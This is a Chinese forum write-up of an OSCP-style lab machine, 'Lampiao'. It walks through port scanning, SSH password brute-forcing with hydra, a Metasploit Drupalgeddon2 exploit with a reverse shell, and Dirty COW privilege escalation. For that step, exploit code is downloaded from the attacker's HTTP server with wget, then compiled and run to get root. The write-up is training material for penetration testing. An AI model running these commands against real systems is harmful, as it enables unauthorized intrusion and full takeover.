OSCP系列靶场-Esay-Lampiao

杳若   ·   发表于 2023-07-30 21:16:31   ·   CTF&WP专版

OSCP系列靶场-Esay-Lampiao

总结

getwebshell → 指纹收集 → 发现存在RCE的漏洞 → MSF利用 → getwebshell

提 权 思 路 → 内网信息收集 → 内核以及发行版较低 → 脏牛提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.211

  • 启动靶机
    获取目标机器IP > 192.168.209.48

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
  1. sudo nmap --min-rate 10000 -p- 192.168.209.48
  2. PORT STATE SERVICE
  3. 22/tcp open ssh
  4. 80/tcp open http
  5. 1898/tcp open cymtec-port

开放的端口 > 22,80,1989

目标端口对应服务探测

  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p22,80,1898 192.168.209.48
  3. PORT STATE SERVICE VERSION
  4. 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
  5. 80/tcp open http?
  6. 1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))

初步看1898内容比较精彩

信息收集-端口测试

22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 6.6.1p1 Ubuntu

  1. # 搜索对应脚本
  2. msf6 > searchsploit OpenSSH 6.6.1p1

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

  1. ssh root@192.168.209.48 -v

显示publickeypassword就是支持密钥以及密码登录

22-SSH手动登录尝试(无)

因为支持密码登录,尝试root账户的密码弱密码尝试

  1. ssh root@192.168.209.48 -p 22
  2. # 密码尝试
  3. password > root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

  1. hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.209.48 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集

访问 http://192.168.209.48:80 不是CMS我们直接从HTML隐藏信息收集开始

信息收集-HTML隐藏信息查看

  1. # 包括文章中是否写明一些敏感信息
  2. ┌──(rootKali)-[/home/bachang/Lampiao]
  3. └─# curl http://192.168.209.48:80
  4. curl: (1) Received HTTP/0.9 when not allowed

协议有点老,是0.9 不支持curl

利用f12查看,无隐藏内容

信息收集-目录扫描

信息收集-目录扫描初步
  1. dirsearch -u http://192.168.209.48:80 -x 302,403

这个有点烧脑 研究了一下0.9

  1. HTTP/0.9是一种非常简化的协议,不支持请求头部和其他复杂特性。如果你的请求格式与HTTP/0.9不兼容,服务器可能会给出一个错误响应。

故先放过80端口

1898-HTTP端口的信息收集

访问 http://192.168.209.48:1898title图标上来看是水滴的标志

信息收集-网站指纹

  1. ┌──(rootKali)-[/home/bachang/Lampiao]
  2. └─# whatweb http://192.168.209.48:1898
  3. http://192.168.209.48:1898 [200 OK] Apache[2.4.7], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[192.168.209.48], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], PHP[5.5.9-1ubuntu4.24], PasswordField[pass], Script[text/javascript], Title[Lampião], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN], X-Powered-By[PHP/5.5.9-1ubuntu4.24]

查询到了CMSDrupal 7

漏洞利用-getwebshell

现在得到的信息是使用的cmsDrupal 7,尝试直接msf上线

漏洞利用-msf网站指纹

  1. # 搜索对应的漏洞是否存在
  2. msf6 > searchsploit Drupal 7

存在特别多的可利用点,呼出msf控制台

  1. search Drupal 7

使用较新日期的1,日期以及Rank查看都非常不错

漏洞利用尝试1

  1. use 1
  2. show payloads
  3. set payload 3

先选用payloads,使用反弹shell

  1. # 展示设置
  2. msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
  3. # msf基础设置
  4. msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set lhost 192.168.45.211
  5. lhost => 192.168.45.211
  6. msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.209.48
  7. rhosts => 192.168.209.48
  8. msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rport 1898
  9. rport => 1898

发现运行失败

漏洞利用尝试2

重新思考原因,尝试换一个payload
反弹shell有3、17、18、19 选择较全面并且稳定的uuid


run成功反弹shell

内网遨游-getshell

交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

  1. # 如果是msf的要先shell
  2. shell
  3. # 利用python获取交互shell -> python失败使用python3
  4. python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. www-data<span class="label label-primary">@lampiao</span>:/var/www/html$ find / -name local.txt 2&gt;/dev/null
  2. /home/tiago/local.txt
  3. www-data<span class="label label-primary">@lampiao</span>:/var/www/html$ cat /home/tiago/local.txt
  4. 6402b28c169c5ce74af22da91f95b2d7

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

  1. # 确定发行版本
  2. www-data@lampiao:/var/www/html$ lsb_release -a
  3. No LSB modules are available.
  4. Distributor ID: Ubuntu
  5. Description: Ubuntu 14.04.5 LTS
  6. Release: 14.04
  7. Codename: trusty

发行版本为Ubuntu 14.04.5,14的版本有机会overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

  1. www-data@lampiao:/var/www/html$ uname -a
  2. Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 athlon i686 GNU/Linux

内核版本为4.4.0,等会搜搜,因为发行版老有机会脏牛提权。

检测当前用户的权限

  1. www-data@lampiao:/var/www/html$ id
  2. uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

  1. # 利用sudo -l寻找
  2. sudo -l

发现需要密码

权限提升

内核提权尝试1

若存在以下情况进行脏牛提权

系统 版本
Centos7/RHEL7 3.10 .0-327.36.3.e17
Cetnos6/RHEL6 4.4.0-45.66
Ubuntu 16.10 2.6.32-642 .6.2.e16
Ubuntu 16.04 4.8.0-26.28
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
  1. searchsploit Ubuntu 14.04 4.4.0

查询了内容发现有3个,先选用第一个进行尝试(条件竞争)

  1. cat /usr/share/exploitdb/exploits/linux_x86-64/local/40871.c

查询到编译方法

python3开启http服务
  1. # 利用python开启http服务,方便目标机器上下载文件
  2. sudo python3 -m http.server 90
  1. # 目标机器到tmp目录下下载(有下载权限)
  2. cd /tmp
  3. # 下载
  4. wget http://192.168.45.211:90/40871.c
  5. # 给权限
  6. chmod +x 40871.c
  7. # 编译
  8. gcc 40871.c -o root_root -lpthread
  9. # 给权限
  10. chmod +x root_root
  11. # 运行
  12. ./root_root

条件竞争不是很会用

内核提权尝试2(失败)

其实可以直接搜索脏牛提权漏洞

  1. searchsploit dirty

  1. # 查看信息
  2. cat /usr/share/exploitdb/exploits/linux/local/40839.c
  3. # 拷贝
  4. cp /usr/share/exploitdb/exploits/linux/local/40839.c .

  1. # 利用python开启http服务,方便目标机器上下载文件
  2. sudo python3 -m http.server 90
  1. # 目标机器到tmp目录下下载(有下载权限)
  2. cd /tmp
  3. # 下载
  4. wget http://192.168.45.191:90/40839.c
  5. # 给权限
  6. chmod +x 40839.c
  7. # 编译
  8. gcc -pthread 40839.c -o root_1 -lcrypt
  9. # 给权限
  10. chmod +x root_1
  11. # 运行
  12. ./root_1


但是随后发现服务器被玩崩了

内核提权尝试3

  1. searchsploit dirty

  1. # 查看信息
  2. cat /usr/share/exploitdb/exploits/linux/local/40847.cpp
  3. # 拷贝
  4. cp /usr/share/exploitdb/exploits/linux/local/40847.cpp .

找到了编译和运行方法

  1. # 利用python开启http服务,方便目标机器上下载文件
  2. sudo python3 -m http.server 90
  1. # 目标机器到tmp目录下下载(有下载权限)
  2. cd /tmp
  3. # 下载
  4. wget http://192.168.45.191:90/40847.cpp
  5. # 给权限
  6. chmod +x 40847.cpp
  7. # 编译
  8. g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
  9. # 给权限
  10. chmod +x dcow
  11. # 运行
  12. ./dcow -s

成功提权

FLAG2获取

  1. root<span class="label label-primary">@lampiao</span>:~# cat /root/proof.txt
  2. 7d9526fb2735f30765a41decd06353b0

完结撒花~

反思

优先探测是否可以使用内核,内核提权省时省力。
在内核提权中优先使用*.cpp的会比较好

用户名金币积分时间理由
Track-魔方 500.00 0 2023-08-03 16:04:28 深度 100 普适 200 可读 200

打赏我,让我更有动力~

3 条回复   |  直到 8个月前 | 304 次浏览

allan3001
发表于 8个月前

终于看到大佬做到这个机器了,请大佬指教一下在
漏洞利用尝试2
尝试换一个payload当中
反弹shell有3、17、18、19 选择较全面并且稳定的uuid
下面那几个都区别在哪里,meterpreter/reverse_tcp 和meterpreter/reverse_tcp_uuid 我现在是不懂原理,遇到你上面那些问题我也是直接换payload的 但是具体换那个我都是随便选的 尝试OK 就算了,也没深究,求大佬直接一下 有什么区分的手段嘛?

评论列表

  • 加载数据中...

编写评论内容

君叹
发表于 8个月前

1

评论列表

  • 加载数据中...

编写评论内容

夜宵吃烤肉吧
发表于 8个月前

1

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.